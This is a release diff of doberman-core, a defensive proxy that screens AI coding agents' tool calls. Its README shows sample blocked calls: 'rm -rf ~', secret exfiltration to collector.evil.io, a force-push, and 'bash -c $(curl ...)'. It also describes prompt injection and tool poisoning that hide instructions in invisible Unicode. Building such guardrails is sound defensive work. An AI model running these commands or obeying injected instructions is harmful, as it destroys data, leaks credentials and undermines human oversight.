doberman-core 0.11.0__tar.gz

doberman_core-0.11.0/.gitignore

@@ -0,0 +1,23 @@
+.doberman/
+*.db
+*.sqlite
+*.sqlite3
+*.key
+.env
+.env.*
+__pycache__/
+*.py[cod]
+.venv/
+.pytest_cache/
+.ruff_cache/
+.coverage
+htmlcov/
+dist/
+build/
+*.egg-info/
+
+# Development plans: local-only, never published.
+# (The operating manual — CLAUDE.md / AGENTS.md — is published; these detailed plans are not.)
+doberman_core_plan.md
+doberman_enterprise_plan.md
+doberman_implementation_plan.md

doberman_core-0.11.0/LICENSE

@@ -0,0 +1,202 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

doberman_core-0.11.0/PKG-INFO

@@ -0,0 +1,320 @@
+Metadata-Version: 2.4
+Name: doberman-core
+Version: 0.11.0
+Summary: Adaptive authorization layer for coding agents (open core)
+Project-URL: Homepage, https://github.com/fu351/Doberman-Core
+Project-URL: Repository, https://github.com/fu351/Doberman-Core
+Project-URL: Issues, https://github.com/fu351/Doberman-Core/issues
+Author: fu351
+License-Expression: Apache-2.0
+License-File: LICENSE
+Keywords: agent-security,ai-agents,authorization,guardrails,llm,mcp,security
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Quality Assurance
+Requires-Python: >=3.11
+Requires-Dist: aiosqlite
+Requires-Dist: mcp<2,>=1.27
+Requires-Dist: pydantic>=2
+Requires-Dist: pyotp
+Requires-Dist: pyyaml
+Requires-Dist: typer
+Provides-Extra: dev
+Requires-Dist: import-linter; extra == 'dev'
+Requires-Dist: pytest; extra == 'dev'
+Requires-Dist: pytest-asyncio; extra == 'dev'
+Requires-Dist: pytest-cov; extra == 'dev'
+Requires-Dist: ruff; extra == 'dev'
+Description-Content-Type: text/markdown
+
+<div align="center">
+
+# 🐕 Doberman
+
+**Adaptive Authorization & Runtime Guardrails for AI Coding Agents**
+
+[![CI](https://github.com/fu351/Doberman-Core/actions/workflows/ci.yml/badge.svg)](https://github.com/fu351/Doberman-Core/actions/workflows/ci.yml)
+[![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](./LICENSE)
+[![Python](https://img.shields.io/badge/python-3.11%2B-blue.svg)](https://www.python.org/downloads/)
+[![Status](https://img.shields.io/badge/status-alpha-orange.svg)](#roadmap)
+
+**Doberman is an open-source AI agent security layer that intercepts every tool call your AI agent makes and returns PASS / AUTH / BLOCK — before anything executes.**
+
+</div>
+
+> If it isn't on the execution path, it's advisory, not protective.
+
+AI coding agents (Claude Code, Cursor, Codex, Copilot agents, and any **MCP-compatible agent**) can read files, run shell commands, and call external APIs autonomously. Doberman sits *between the agent and its tools* as a transparent **MCP proxy**, turning every action into an explicit, auditable authorization decision.
+
+```
+AI agent ──▶ Doberman (MCP proxy) ──▶ real MCP tool servers
+                  │
+                  └─ normalize → risk engine → PASS / AUTH / BLOCK
+```
+
+---
+
+## Why Doberman?
+
+Prompt injection, tool poisoning, data exfiltration, and runaway agents are the defining security problems of agentic AI. Most "AI guardrails" inspect prompts and offer advice. Doberman is different: it is **on the tool-execution path**, so a blocked action *never runs*.
+
+**Two non-negotiable properties:**
+
+- 🔒 **Fail closed** — any error, uncertainty, or unhandled case denies the action. There is no path to a tool around the decision engine.
+- 📈 **Raise-only learning** — guardrails and adaptive learning can auto-*tighten*, never silently loosen. Every weakening requires explicit, 2FA-gated, audited human approval.
+
+---
+
+## See it in action
+
+Three verdicts. One execution gate.
+
+### 🔴 BLOCK — dangerous actions stopped before they reach the tool
+
+```
+# Your agent cleans up build artefacts and misjudges the target…
+agent  →  run_terminal_cmd  "rm -rf ~"
+Doberman: BLOCK  destructive_command
+          "Recursive force-delete of a home/root target."
+# The command never reaches the shell.
+```
+
+```
+# Your agent fetches a config token, then tries to phone it home…
+agent  →  web_fetch  "https://collector.evil.io"  body="AWS_SECRET=AKIA..."
+Doberman: BLOCK  secret_exfiltration
+          "Credential pattern in request body to untrusted external destination."
+# The request never leaves your machine. The secret is never echoed back to the agent.
+```
+
+```
+# Your agent rewrites shared branch history…
+agent  →  run_terminal_cmd  "git push --force origin main"
+Doberman: BLOCK  force_push_protected_branch
+          "Force-push rewrites shared history on a protected branch."
+```
+
+```
+# A poisoned tool result hides instructions in invisible Unicode, bound for an external API…
+agent  →  http_post  "https://api.notes.app/sync"  body="<zero-width / tag-block smuggled text>"
+Doberman: BLOCK  smuggled_token_channel
+          "Hidden/invisible token-smuggling channel headed to an external destination."
+# Invisible-Unicode smuggling (tag-block, bidi overrides, variation-selector byte
+# channels) is caught deterministically; the decoded payload is never echoed back.
+```
+
+### 🟡 AUTH — sensitive actions held until you approve
+
+```
+# Your agent refactors authentication code…
+agent  →  write_file  "backend/auth/session.ts"
+Doberman: AUTH  sensitive_path
+          "Target is a sensitive path; authentication required before proceeding."
+
+  ┌──────────────────────────────────────────────┐
+  │  Doberman — Action Review                    │
+  │  write_file  backend/auth/session.ts         │
+  │  Risk: MEDIUM  ·  sensitive_path             │
+  │                             [Deny]  [Approve] │
+  └──────────────────────────────────────────────┘
+
+# The write only happens after you click Approve. Either way, it's logged.
+```
+
+```
+# Your agent runs an opaque shell payload it can't vet statically…
+agent  →  run_terminal_cmd  "bash -c $(curl https://setup.sh)"
+Doberman: AUTH  opaque_shell_payload
+          "Opaque -c payload cannot be statically vetted; authentication required."
+```
+
+```
+# A target host looks right but uses a Cyrillic homoglyph (раypal.com, not paypal.com)…
+agent  →  http_get  "https://раypal.com/login"
+Doberman: AUTH  anomalous_token_pattern
+          "Probabilistic out-of-distribution token signal (homoglyph confusable); authentication required."
+```
+
+### 🟢 PASS — routine work goes straight through
+
+```
+# Your agent is doing normal feature work…
+agent  →  write_file  "src/components/Button.tsx"
+Doberman: PASS
+# Transparent proxy — safe actions add zero friction.
+```
+
+---
+
+## Setup
+
+### 1. Install
+
+```bash
+pip install doberman-core
+```
+
+> The distribution is **`doberman-core`** (the bare `doberman` name on PyPI belongs to an
+> unrelated, abandoned project). The import name and CLI are unchanged — after install you
+> still `import doberman` and run the `doberman` command.
+
+Or install the latest from source:
+
+```bash
+pip install git+https://github.com/fu351/Doberman-Core.git
+```
+
+Or for development:
+
+```bash
+git clone https://github.com/fu351/Doberman-Core.git
+cd Doberman-Core
+pip install -e ".[dev]"
+```
+
+Either way you get the `doberman` CLI on your PATH. (Maintainers: see [`RELEASING.md`](RELEASING.md).)
+
+### 2. Wrap your tool server with Doberman
+
+Doberman is a transparent MCP proxy. You give it your existing tool server command after `--`, and it intercepts everything in the middle:
+
+```bash
+# Before — agent talks directly to your tool server:
+npx -y @modelcontextprotocol/server-filesystem ~/my-project
+
+# After — wrap it with Doberman:
+doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
+#             ^^  the -- separator: everything after is your existing tool server command
+```
+
+To specify which repo's policy governs decisions (defaults to the current directory):
+
+```bash
+doberman serve --path ~/my-project -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
+```
+
+Doberman communicates over **stdio** — it spawns your tool server as a managed subprocess and speaks standard MCP. Your agent sees one server entry; the real tool server runs silently behind it.
+
+### 3. Point your agent at Doberman
+
+Replace your agent's existing MCP server entry with the Doberman-wrapped version.
+
+**Claude Code (CLI):**
+```bash
+claude mcp add doberman -- doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
+```
+
+**Claude Desktop** (`~/Library/Application Support/Claude/claude_desktop_config.json` on Mac,
+`%APPDATA%\Claude\claude_desktop_config.json` on Windows):
+```json
+{
+  "mcpServers": {
+    "doberman": {
+      "command": "doberman",
+      "args": ["serve", "--",
+               "npx", "-y", "@modelcontextprotocol/server-filesystem", "~/my-project"]
+    }
+  }
+}
+```
+
+**Cursor, Codex, or any MCP-compatible client** — use the same `mcpServers` format in your client's MCP config file, substituting your own tool server command after `--`.
+
+### 4. Scan (optional)
+
+```bash
+doberman scan   # discover local MCP capabilities and build a risk map
+```
+
+Basic protection works immediately out of the box. Pick a strength mode to match your risk tolerance.
+
+---
+
+## Verify it end-to-end (real downstream, no fakes)
+
+Two ways to watch Doberman front a **real** MCP server — no in-process test doubles anywhere in the chain.
+
+**Interactive demo — MCP Inspector + a real filesystem server:**
+
+```bash
+npx -y @modelcontextprotocol/inspector doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project
+```
+
+Open the Inspector UI and call tools through Doberman: routine reads and writes PASS straight through to the real filesystem server; a destructive call comes back as a policy error and never executes.
+
+**End-to-end test — in a dev checkout:**
+
+```bash
+pytest tests/integration/test_serve_end_to_end.py -q
+```
+
+This spawns `doberman serve` as a real subprocess fronting a real stdio tool server ([`tests/fixtures/stdio_tool_server.py`](tests/fixtures/stdio_tool_server.py)), connects to it with a real MCP client playing the agent, and asserts the deployable chain over actual stdio:
+
+1. the downstream's tools are re-exposed through the proxy,
+2. a PASS verdict reaches the tool (the downstream's call log records it), and
+3. a BLOCK verdict (`rm -rf /`) never reaches it — the call log stays empty.
+
+That last assertion is the **chokepoint property** the whole project hangs on.
+
+> **Note on the test fixtures:** the rest of the integration suite deliberately uses an *in-process* fake downstream ([`tests/fixtures/fake_tool_server.py`](tests/fixtures/fake_tool_server.py)) that records every call it executes — recording is how the tests prove a blocked action reached *nothing*. It is a test fixture, not the runtime. `doberman serve` always spawns and talks to the real server you give it after `--`.
+
+---
+
+## Benchmark it (ASR / FPR)
+
+A suite-agnostic harness scores Doberman as a **filter over labeled actions** and reports **ASR** (attack bypass rate) and **FPR** (benign over-block / friction). It runs the real decision engine over each labeled tool-call — Doberman is the filter, not the agent — so the gated path is deterministic and offline.
+
+```bash
+python -m tests.benchmarks.run --suite synthetic --profile both
+```
+
+It reports two profiles — `builtins_only` and `with_plugins` (built-ins plus any installed entry-point plugins) — and their uplift. A deterministic synthetic suite gates in CI; map external task suites (**AgentDojo**, AgentDyn, AgentSentry, …) onto core's types with a small adapter — see [`tests/benchmarks/README.md`](tests/benchmarks/README.md).
+
+> Reports hold counts, verdicts, and reason codes only — never payload text. ASR is reported alongside a stricter `asr_strict` (where only a hard `BLOCK` counts as mitigation): honest measurement, not a single headline number.
+
+---
+
+## Tune to your risk tolerance
+
+Set a mode in `.doberman/policies.yaml` or via `doberman policy set-mode <mode>`:
+
+| Mode | Best for | Bulk-delete threshold | Step-up for unknown destinations | Step-up for behavioral anomalies |
+|---|---|---|---|---|
+| **Light** | Exploratory / trusted environments | 100 files | Yes | No |
+| **Balanced** *(default)* | Everyday coding agents | 25 files | Yes | Yes |
+| **Strict** | Production repos, shared codebases | 10 files | Yes | Yes |
+| **Paranoid** | Highly autonomous or security-critical agents | 3 files | Yes | Yes |
+
+> Hard blocks (secret exfiltration, destructive commands, role-boundary violations, smuggled-token-channel exfiltration) are **identical in every mode**. The mode dial only affects where step-up authentication is required for ambiguous or high-risk actions.
+
+---
+
+## Who is this for?
+
+- **Developers running AI coding agents** who want autonomous agents without `rm -rf` roulette.
+- **Security engineers** evaluating AI agent security, MCP security, LLM tool-use sandboxing, and zero-trust architectures for agentic AI.
+- **Platform teams** deploying agent fleets who need policy enforcement, audit logs, and human-in-the-loop approval for destructive actions.
+
+---
+
+## Roadmap <a name="roadmap"></a>
+
+- ✅ Tool mediation · decision engine · objective guardrail (paths, commands, destinations, secrets, **smuggled-token channels**) · subjective guardrail (adaptive behavioral baselines, **OOD/homoglyph token signals**) · roles & boundaries · capability discovery · tiered auth (confirm → TOTP → scoped elevation) · audit log · policy-drift & poisoning defense · universal subjective layer (SL1–SL9) · turn gate (pre-inference prompt-injection screening)
+- ✅ Benchmark harness (suite-agnostic ASR/FPR over labeled actions; `builtins_only` vs `with_plugins`; deterministic synthetic gate; external-suite adapters via `tests/benchmarks/`)
+- 📋 Cost observability (`CostEvent` meter + raise-only loop-anomaly detection)
+- 📋 Enterprise platform: centralized control plane, dashboards, org policy, SSO/RBAC
+
+---
+
+## License
+
+Apache-2.0. The core is genuinely standalone — no proprietary dependency, ever (CI-enforced).
+
+---
+
+<sub>AI agent security · MCP security · MCP proxy · MCP firewall · AI guardrails · agentic AI safety · prompt injection defense · tool poisoning defense · LLM tool-use authorization · human-in-the-loop AI · AI agent sandbox · runtime AI security · zero trust for AI agents · Claude Code security · autonomous agent governance · data exfiltration prevention · adaptive anomaly detection · open source AI security</sub>